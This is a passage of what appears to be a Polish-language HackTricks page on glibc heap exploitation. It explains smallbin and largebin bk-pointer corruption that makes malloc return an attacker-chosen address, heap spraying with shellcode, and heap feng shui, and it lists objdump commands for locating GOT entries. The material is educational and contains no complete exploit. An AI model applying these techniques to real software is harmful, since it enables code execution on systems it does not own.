Aby osiągnąć kod podatny, żądanie pamięci musi być większe niż av->max\_fast (72 zazwyczaj) i mniejsze niż MIN\_LARGE\_SIZE (512).
|
||
|
||
Jeśli w binach znajduje się kawałek o odpowiednim rozmiarze do tego, co jest żądane, zostanie zwrócony po odłączeniu:
|
||
|
||
bck = victim->bk; Wskazuje na poprzedni kawałek, to jedyna informacja, którą możemy zmienić.
|
||
|
||
bin->bk = bck; Przedostatni kawałek staje się ostatnim, jeśli bck wskazuje na stos, następny zarezerwowany kawałek otrzyma ten adres
|
||
|
||
bck->fd = bin; Lista jest zamykana, sprawiając, że ten wskazuje na bin
|
||
|
||
Wymaga:
|
||
|
||
Aby zarezerwować dwa malloc, tak aby do pierwszego można było przepełnić po tym, jak drugi został zwolniony i wprowadzony do swojego binu (to znaczy, aby zarezerwować malloc większy niż drugi kawałek przed przepełnieniem)
|
||
|
||
Aby zarezerwowany malloc, któremu nadano adres wybrany przez atakującego, był kontrolowany przez atakującego.
|
||
|
||
Celem jest następujące: jeśli możemy przepełnić heap, który ma pod sobą już zwolniony kawałek i w swoim binie, możemy zmienić jego wskaźnik bk. Jeśli zmienimy jego wskaźnik bk i ten kawałek stanie się pierwszym w liście bin, a zostanie zarezerwowany, bin zostanie oszukany i powie, że ostatni kawałek listy (następny do zaoferowania) znajduje się pod fałszywym adresem, który umieściliśmy (na stosie lub GOT, na przykład). W ten sposób, jeśli ponownie zarezerwowany zostanie inny kawałek, a atakujący ma do niego dostęp, otrzyma kawałek w pożądanej pozycji i będzie mógł w nim pisać.
|
||
|
||
Po zwolnieniu zmodyfikowanego kawałka konieczne jest, aby zarezerwowany został kawałek większy niż zwolniony, w ten sposób zmodyfikowany kawałek wyjdzie z unsorted bins i zostanie wprowadzony do swojego binu.
|
||
|
||
Gdy już będzie w swoim binie, nadszedł czas, aby zmodyfikować jego wskaźnik bk za pomocą przepełnienia, aby wskazywał na adres, który chcemy nadpisać.
|
||
|
||
W ten sposób bin będzie musiał czekać na wywołanie malloc() wystarczająco wiele razy, aby ponownie użyć zmodyfikowanego binu i oszukać bin, sprawiając, że następny kawałek znajduje się pod fałszywym adresem. A następnie zostanie zwrócony kawałek, który nas interesuje.
|
||
|
||
Aby podatność została wykonana jak najszybciej, idealnie byłoby: rezerwacja podatnego kawałka, rezerwacja kawałka, który zostanie zmodyfikowany, zwolnienie tego kawałka, rezerwacja kawałka większego, który zostanie zmodyfikowany, zmodyfikowanie kawałka (podatność), rezerwacja kawałka o tym samym rozmiarze co zmodyfikowany i rezerwacja drugiego kawałka o tym samym rozmiarze, a ten będzie wskazywał na wybrany adres.
|
||
|
||
Aby chronić ten atak, zastosowano typowe sprawdzenie, że kawałek “nie” jest fałszywy: sprawdza się, czy bck->fd wskazuje na victim. To znaczy, w naszym przypadku, czy wskaźnik fd\* fałszywego kawałka wskazywanego na stosie wskazuje na victim. Aby obejść tę ochronę, atakujący powinien być w stanie w jakiś sposób (prawdopodobnie przez stos) zapisać w odpowiednim adresie adres victim. Aby w ten sposób wyglądało to jak prawdziwy kawałek.
|
||
|
||
**Korupcja LargeBin**
|
||
|
||
Wymagane są te same wymagania, co wcześniej i jeszcze kilka, dodatkowo zarezerwowane kawałki muszą być większe niż 512.
|
||
|
||
Atak jest jak poprzedni, to znaczy, trzeba zmodyfikować wskaźnik bk i potrzebne są wszystkie te wywołania malloc(), ale dodatkowo trzeba zmodyfikować rozmiar zmodyfikowanego kawałka w taki sposób, aby ten rozmiar - nb był < MINSIZE.
|
||
|
||
Na przykład, ustawi to rozmiar na 1552, aby 1552 - 1544 = 8 < MINSIZE (odejmowanie nie może być ujemne, ponieważ porównuje się unsigned)
|
||
|
||
Dodatkowo wprowadzono łatkę, aby to jeszcze bardziej skomplikować.
|
||
|
||
**Heap Spraying**
|
||
|
||
Zasadniczo polega na rezerwowaniu całej możliwej pamięci dla heapów i wypełnianiu ich poduszką nops zakończoną shellcode. Dodatkowo, jako poduszkę używa się 0x0c. Ponieważ spróbuje się przeskoczyć do adresu 0x0c0c0c0c, a więc, jeśli nadpisze się jakiś wskaźnik, do którego się wezwie, z tą poduszką, przeskoczy się tam. Zasadniczo taktyka polega na rezerwowaniu jak najwięcej, aby zobaczyć, czy nadpisze się jakiś wskaźnik i przeskoczy do 0x0c0c0c0c, mając nadzieję, że tam będą nops.
|
||
|
||
**Heap Feng Shui**
|
||
|
||
Polega na tym, aby za pomocą rezerwacji i zwolnień zasadzić pamięć w taki sposób, aby między kawałkami zarezerwowanymi znajdowały się kawałki wolne. Bufor do przepełnienia znajdzie się w jednym z jajek.
|
||
|
||
**objdump -d wykonawczy** —> Disas funkcje\
|
||
**objdump -d ./PROGRAMA | grep FUNKCJA** —> Uzyskaj adres funkcji\
|
||
**objdump -d -Mintel ./shellcodeout** —> Aby zobaczyć, że to rzeczywiście nasza shellcode i wyciągnąć OpCodes\
|
||
**objdump -t ./exec | grep varBss** —> Tabela symboli, aby uzyskać adresy zmiennych i funkcji\
|
||
**objdump -TR ./exec | grep exit(func lib)** —> Aby uzyskać adresy funkcji z bibliotek (GOT)\
|
||
**objdump -d ./exec | grep funcCode**\
|
||
**objdump -s -j .dtors /exec**\
|
||
**objdump -s -j .got ./exec**\
|
||
**objdump -t --dynamic-relo ./exec | grep puts** —> Wyciąga adres puts do nadpisania w GOT\
|
||
**objdump -D ./exec** —> Disas WSZYSTKO do wpisów w plt\
|
||
**objdump -p -/exec**\
|
||
**Info functions strncmp —>** Info funkcji w gdb
|
||
|
||
## Ciekawe kursy
|
||
|
||
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||
|
||
## **Referencje**
|
||
|
||
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
||
|
||
{% hint style="success" %}
|
||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Wsparcie HackTricks</summary>
|
||
|
||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||
|
||
</details>
|
||
{% endhint %}
|